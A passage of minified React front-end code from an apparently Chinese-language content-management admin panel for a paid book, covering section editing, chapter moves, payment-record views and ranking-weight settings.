De(`/api/db/book?action=section-orders&id=${encodeURIComponent(M.id)}`),me=Q!=null&&Q.success&&Array.isArray(Q.orders)?Q.orders:[];Re(Ne=>Ne?{...Ne,orders:me}:null)}catch(Q){console.error(Q),Re(me=>me?{...me,orders:[]}:null)}finally{lt(!1)}},Ge=async M=>{m(!0);try{const Q=M.mid!=null&&M.mid>0?`/api/db/book?action=read&mid=${M.mid}`:`/api/db/book?action=read&id=${encodeURIComponent(M.id)}`,me=await De(Q);if(me!=null&&me.success&&me.section){const Ne=me.section,st=Ne.editionPremium===!0;c({id:M.id,originalId:M.id,title:me.section.title??M.title,price:me.section.price??M.price,content:me.section.content??"",filePath:M.filePath,isFree:M.isFree||M.price===0,isNew:Ne.isNew??M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:st?!1:Ne.editionStandard??!0,editionPremium:st})}else c({id:M.id,originalId:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree,isNew:M.isNew,isPinned:Je.includes(M.id),hotScore:M.hotScore??0,editionStandard:!0,editionPremium:!1}),me&&!me.success&&ie.error("无法读取文件内容: "+(me.error||"未知错误"))}catch(Q){console.error(Q),c({id:M.id,title:M.title,price:M.price,content:"",filePath:M.filePath,isFree:M.isFree})}finally{m(!1)}},Nn=async()=>{var M;if(o){y(!0);try{let Q=o.content||"";const me=[new RegExp(`^#+\\s*${o.id.replace(".","\\.")}\\s+.*$`,"gm"),new RegExp(`^#+\\s*${o.id.replace(".","\\.")}[::].*$`,"gm"),new RegExp(`^#\\s+.*${(M=o.title)==null?void 0:M.slice(0,10).replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}.*$`,"gm")];for(const cn of me)Q=Q.replace(cn,"");Q=Q.replace(/^\s*\n+/,"").trim();const Ne=o.originalId||o.id,st=o.id!==Ne,mt=await zt("/api/db/book",{id:Ne,...st?{newId:o.id}:{},title:o.title,price:o.isFree?0:o.price,content:Q,isFree:o.isFree||o.price===0,isNew:o.isNew,hotScore:o.hotScore,editionStandard:o.editionPremium?!1:o.editionStandard??!0,editionPremium:o.editionPremium??!1,saveToFile:!0},{timeout:Hv}),Bt=st?o.id:Ne;o.isPinned!==Je.includes(Bt)&&await Pa(Bt),mt&&mt.success!==!1?(ie.success(`已保存:${o.title}`),c(null),er(),qr(),Gr()):ie.error("保存失败: "+(mt&&typeof mt=="object"&&"error"in mt?mt.error:"未知错误"))}catch(Q){console.error(Q);const me=Q instanceof Error&&Q.name==="AbortError"?"保存超时,请检查网络或稍后重试":"保存失败";ie.error(me)}finally{y(!1)}}},gr=async()=>{if(!T.id||!T.title){ie.error("请填写章节ID和标题");return}y(!0);try{const M=Dn.find(Ne=>Ne.id===T.partId),Q=M==null?void 0:M.chapters.find(Ne=>Ne.id===T.chapterId),me=await zt("/api/db/book",{id:T.id,title:T.title,price:T.isFree?0:T.price,content:T.content||"",partId:T.partId,partTitle:(M==null?void 0:M.title)??"",chapterId:T.chapterId,chapterTitle:(Q==null?void 0:Q.title)??"",isFree:T.isFree,isNew:T.isNew,editionStandard:T.editionPremium?!1:T.editionStandard??!0,editionPremium:T.editionPremium??!1,hotScore:T.hotScore??0,saveToFile:!1},{timeout:Hv});if(me&&me.success!==!1){if(T.isPinned){const Ne=[...Je,T.id];xt(Ne);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Ne,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"})}catch{}}ie.success(`章节创建成功:${T.title}`),h(!1),I({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),er(),qr(),Gr()}else ie.error("创建失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{y(!1)}},Po=M=>{I(Q=>{var me;return{...Q,partId:M.id,chapterId:((me=M.chapters[0])==null?void 0:me.id)??"chapter-1"}}),h(!0)},Qt=M=>{L({id:M.id,title:M.title})},Un=async()=>{var M;if((M=O==null?void 0:O.title)!=null&&M.trim()){D(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||"part-1",partTitle:Ne.partId===O.id?O.title.trim():Ne.partTitle||"",chapterId:Ne.chapterId||"chapter-1",chapterTitle:Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=O.title.trim();e(st=>st.map(mt=>mt.partId===O.id?{...mt,partTitle:Ne}:mt)),L(null),er()}else ie.error("更新篇名失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("更新篇名失败")}finally{D(!1)}}},ps=M=>{const Q=M.chapters.length+1,me=`chapter-${M.id}-${Q}-${Date.now()}`;I({id:`${Q}.1`,title:"新章节",price:1,partId:M.id,chapterId:me,content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),h(!0)},Os=(M,Q)=>{fe({part:M,chapter:Q,title:Q.title})},na=async()=>{var M;if((M=ne==null?void 0:ne.title)!=null&&M.trim()){$(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||ne.part.id,partTitle:Ne.partId===ne.part.id?ne.part.title:Ne.partTitle||"",chapterId:Ne.chapterId||ne.chapter.id,chapterTitle:Ne.partId===ne.part.id&&Ne.chapterId===ne.chapter.id?ne.title.trim():Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=ne.title.trim(),st=ne.part.id,mt=ne.chapter.id;e(Bt=>Bt.map(cn=>cn.partId===st&&cn.chapterId===mt?{...cn,chapterTitle:Ne}:cn)),fe(null),er()}else ie.error("保存失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("保存失败")}finally{$(!1)}}},Wl=async(M,Q)=>{const me=Q.sections.map(Ne=>Ne.id);if(me.length===0){ie.info("该章下无小节,无需删除");return}if(confirm(`确定要删除「第${M.chapters.indexOf(Q)+1}章 | ${Q.title}」吗?将删除共 ${me.length} 节,此操作不可恢复。`))try{for(const Ne of me)await Bs(`/api/db/book?id=${encodeURIComponent(Ne)}`);er()}catch(Ne){console.error(Ne),ie.error("删除失败")}},_i=async()=>{if(!B.trim()){ie.error("请输入篇名");return}ce(!0);try{const M=`part-new-${Date.now()}`,Q="chapter-1",me=`part-placeholder-${Date.now()}`,Ne=await zt("/api/db/book",{id:me,title:"占位节(可编辑)",price:0,content:"",partId:M,partTitle:B.trim(),chapterId:Q,chapterTitle:"第1章 | 待编辑",saveToFile:!1});Ne&&Ne.success!==!1?(ie.success(`篇「${B}」创建成功`),Z(!1),re(""),er()):ie.error("创建失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{ce(!1)}},Oa=async()=>{if(H.length===0){ie.error("请先勾选要移动的章节");return}const M=Dn.find(me=>me.id===V),Q=M==null?void 0:M.chapters.find(me=>me.id===U);if(!M||!Q||!V||!U){ie.error("请选择目标篇和章");return}Y(!0);try{const me=()=>{const Bt=new Set(H),cn=t.map(Ln=>({id:Ln.id,partId:Ln.partId||"",partTitle:Ln.partTitle||"",chapterId:Ln.chapterId||"",chapterTitle:Ln.chapterTitle||""})),Fi=cn.filter(Ln=>Bt.has(Ln.id)).map(Ln=>({...Ln,partId:V,partTitle:M.title||V,chapterId:U,chapterTitle:Q.title||U})),ms=cn.filter(Ln=>!Bt.has(Ln.id));let Jr=ms.length;for(let Ln=ms.length-1;Ln>=0;Ln-=1){const Gl=ms[Ln];if(Gl.partId===V&&Gl.chapterId===U){Jr=Ln+1;break}}return[...ms.slice(0,Jr),...Fi,...ms.slice(Jr)]},Ne=async()=>{const Bt=me(),cn=await zt("/api/db/book",{action:"reorder",items:Bt});return cn&&cn.success!==!1?(ie.success(`已移动 ${H.length} 节到「${M.title}」-「${Q.title}」`),K(!1),oe([]),await er(),!0):!1},st={action:"move-sections",sectionIds:H,targetPartId:V,targetChapterId:U,targetPartTitle:M.title||V,targetChapterTitle:Q.title||U},mt=await zt("/api/db/book",st);if(mt&&mt.success!==!1)ie.success(`已移动 ${mt.count??H.length} 节到「${M.title}」-「${Q.title}」`),K(!1),oe([]),await er();else{const Bt=mt&&typeof mt=="object"&&"error"in mt?mt.error||"":"未知错误";if((Bt.includes("缺少 id")||Bt.includes("无效的 action"))&&await Ne())return;ie.error("移动失败: "+Bt)}}catch(me){console.error(me),ie.error("移动失败: "+(me instanceof Error?me.message:"网络或服务异常"))}finally{Y(!1)}},Ul=M=>{oe(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},zi=async M=>{const Q=t.filter(me=>me.partId===M.id).map(me=>me.id);if(Q.length===0){ie.info("该篇下暂无小节可删除");return}if(confirm(`确定要删除「${M.title}」整篇吗?将删除共 ${Q.length} 节内容,此操作不可恢复。`))try{for(const me of Q)await Bs(`/api/db/book?id=${encodeURIComponent(me)}`);er()}catch(me){console.error(me),ie.error("删除失败")}},kd=async()=>{var M;if(N.trim()){E(!0);try{const Q=await De(`/api/search?q=${encodeURIComponent(N)}`);Q!=null&&Q.success&&((M=Q.data)!=null&&M.results)?k(Q.data.results):(k([]),Q&&!Q.success&&ie.error("搜索失败: "+Q.error))}catch(Q){console.error(Q),k([]),ie.error("搜索失败")}finally{E(!1)}}},$i=Dn.find(M=>M.id===T.partId),Nt=($i==null?void 0:$i.chapters)??[];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"内容管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",Dn.length," 篇 · ",us," 节内容"]})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsxs(te,{onClick:()=>ln(!0),variant:"outline",className:"border-amber-500/50 text-amber-400 hover:bg-amber-500/10 bg-transparent",children:[s.jsx(Cu,{className:"w-4 h-4 mr-2"}),"排名算法"]}),s.jsxs(te,{onClick:()=>{const M=typeof window<"u"?`${window.location.origin}/api-doc`:"";M&&window.open(M,"_blank","noopener,noreferrer")},variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"API 接口"]})]})]}),s.jsx(Dt,{open:u,onOpenChange:h,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),"新建章节"]})}),s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 9.15",value:T.id,onChange:M=>I({...T,id:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:T.isFree?0:T.price,onChange:M=>I({...T,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:T.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isFree,onChange:M=>I({...T,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isNew,onChange:M=>I({...T,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isPinned,onChange:M=>I({...T,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium!==!0,onChange:()=>I({...T,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium===!0,onChange:()=>I({...T,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:T.hotScore??0,onChange:M=>I({...T,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入章节标题",value:T.title,onChange:M=>I({...T,title:M.target.value})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属篇"}),s.jsxs(hl,{value:T.partId,onValueChange:M=>{var me;const Q=Dn.find(Ne=>Ne.id===M);I({...T,partId:M,chapterId:((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"chapter-1"})},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Dn.length===0&&s.jsx(_r,{value:"part-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认篇"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属章"}),s.jsxs(hl,{value:T.chapterId,onValueChange:M=>I({...T,chapterId:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Nt.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Nt.length===0&&s.jsx(_r,{value:"chapter-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认章"})]})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),s.jsx(Ex,{content:T.content||"",onChange:M=>I({...T,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[s.jsx(te,{variant:"outline",onClick:()=>h(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:gr,disabled:g||!T.id||!T.title,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建章节"]})})]})]})}),s.jsx(Dt,{open:!!O,onOpenChange:M=>!M&&L(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑篇名"]})}),O&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:O.title,onChange:M=>L({...O,title:M.target.value}),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>L(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Un,disabled:R||!((Kl=O==null?void 0:O.title)!=null&&Kl.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:R?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:!!ne,onOpenChange:M=>!M&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节名称"]})}),ne&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节名称(如:第8章|底层结构)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:ne.title,onChange:M=>fe({...ne,title:M.target.value}),placeholder:"输入章节名称"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>fe(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:na,disabled:xe||!((ql=ne==null?void 0:ne.title)!=null&&ql.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:xe?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:P,onOpenChange:M=>{var Q;if(K(M),M&&Dn.length>0){const me=Dn[0];z(me.id),le(((Q=me.chapters[0])==null?void 0:Q.id)??"")}},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"批量移动至指定目录"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["已选 ",s.jsx("span",{className:"text-[#38bdac] font-medium",children:H.length})," 节,请选择目标篇与章。"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标篇"}),s.jsxs(hl,{value:V,onValueChange:M=>{var me;z(M);const Q=Dn.find(Ne=>Ne.id===M);le(((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"")},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择篇"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标章"}),s.jsxs(hl,{value:U,onValueChange:le,children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择章"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:(((Oo=Dn.find(M=>M.id===V))==null?void 0:Oo.chapters)??[]).map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>K(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Oa,disabled:J||H.length===0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:J?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"移动中..."]}):"确认移动"})]})]})}),s.jsx(Dt,{open:!!ye,onOpenChange:M=>!M&&Re(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-3xl max-h-[85vh] overflow-hidden flex flex-col",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white",children:["付款记录 — ",(ye==null?void 0:ye.section.title)??""]})}),s.jsx("div",{className:"flex-1 overflow-y-auto py-2",children:Le?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):ye&&ye.orders.length===0?s.jsx("p",{className:"text-gray-500 text-center py-6",children:"暂无付款记录"}):ye?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"py-2 pr-2",children:"订单号"}),s.jsx("th",{className:"py-2 pr-2",children:"用户ID"}),s.jsx("th",{className:"py-2 pr-2",children:"金额"}),s.jsx("th",{className:"py-2 pr-2",children:"状态"}),s.jsx("th",{className:"py-2 pr-2",children:"支付时间"})]})}),s.jsx("tbody",{children:ye.orders.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-blue-400 hover:text-blue-300 hover:underline text-left truncate max-w-[180px] block",title:`查看订单 ${M.orderSn}`,onClick:()=>window.open(`/orders?search=${M.orderSn??M.id??""}`,"_blank"),children:M.orderSn?M.orderSn.length>16?M.orderSn.slice(0,8)+"..."+M.orderSn.slice(-6):M.orderSn:"-"})}),s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-[#38bdac] hover:text-[#2da396] hover:underline text-left truncate max-w-[140px] block",title:`查看用户 ${M.userId??M.openId??""}`,onClick:()=>window.open(`/users?search=${M.userId??M.openId??""}`,"_blank"),children:(()=>{const Q=M.userId??M.openId??"-";return Q.length>12?Q.slice(0,6)+"..."+Q.slice(-4):Q})()})}),s.jsxs("td",{className:"py-2 pr-2 text-gray-300",children:["¥",M.amount??0]}),s.jsx("td",{className:"py-2 pr-2 text-gray-300",children:M.status??"-"}),s.jsx("td",{className:"py-2 pr-2 text-gray-500",children:M.payTime??M.createdAt??"-"})]},M.id??M.orderSn??""))})]}):null})]})}),s.jsx(Dt,{open:Tt,onOpenChange:ln,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Cu,{className:"w-5 h-5 text-amber-400"}),"文章排名算法"]})}),s.jsxs("div",{className:"space-y-4 py-2",children:[s.jsx("p",{className:"text-sm text-gray-400",children:"热度积分 = 阅读权重×阅读排名分 + 新度权重×新度排名分 + 付款权重×付款排名分(三权重之和须为 1)"}),In?s.jsx("p",{className:"text-gray-500",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"阅读权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.readWeight,onChange:M=>nn(Q=>({...Q,readWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"新度权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.recencyWeight,onChange:M=>nn(Q=>({...Q,recencyWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"付款权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.payWeight,onChange:M=>nn(Q=>({...Q,payWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["当前之和: ",(yt.readWeight+yt.recencyWeight+yt.payWeight).toFixed(1)]}),s.jsxs("ul",{className:"list-disc list-inside space-y-1 text-xs text-gray-400",children:[s.jsx("li",{children:"阅读量前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"最近更新前 30 篇:第1名=30分、第2名=29分...第30名=1分"}),s.jsx("li",{children:"付款数前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"热度分可在编辑章节中手动覆盖"})]}),s.jsx(te,{onClick:Ro,disabled:Yt||Math.abs(yt.readWeight+yt.recencyWeight+yt.payWeight-1)>.001,className:"w-full bg-amber-500 hover:bg-amber-600 text-white",children:Yt?"保存中...":"保存权重"})]})]})]})}),s.jsx(Dt,{open:_,onOpenChange:Z,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-amber-400"}),"新建篇"]})}),s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名(如:第六篇|真实的社会)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:B,onChange:M=>re(M.target.value),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>{Z(!1),re("")},className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:_i,disabled:ue||!B.trim(),className:"bg-amber-500 hover:bg-amber-600 text-white",children:ue?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建篇"]})})]})]})}),s.jsx(Dt,{open:!!o,onOpenChange:()=>c(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节"]})}),o&&s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.id,onChange:M=>c({...o,id:M.target.value}),placeholder:"如: 9.15"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 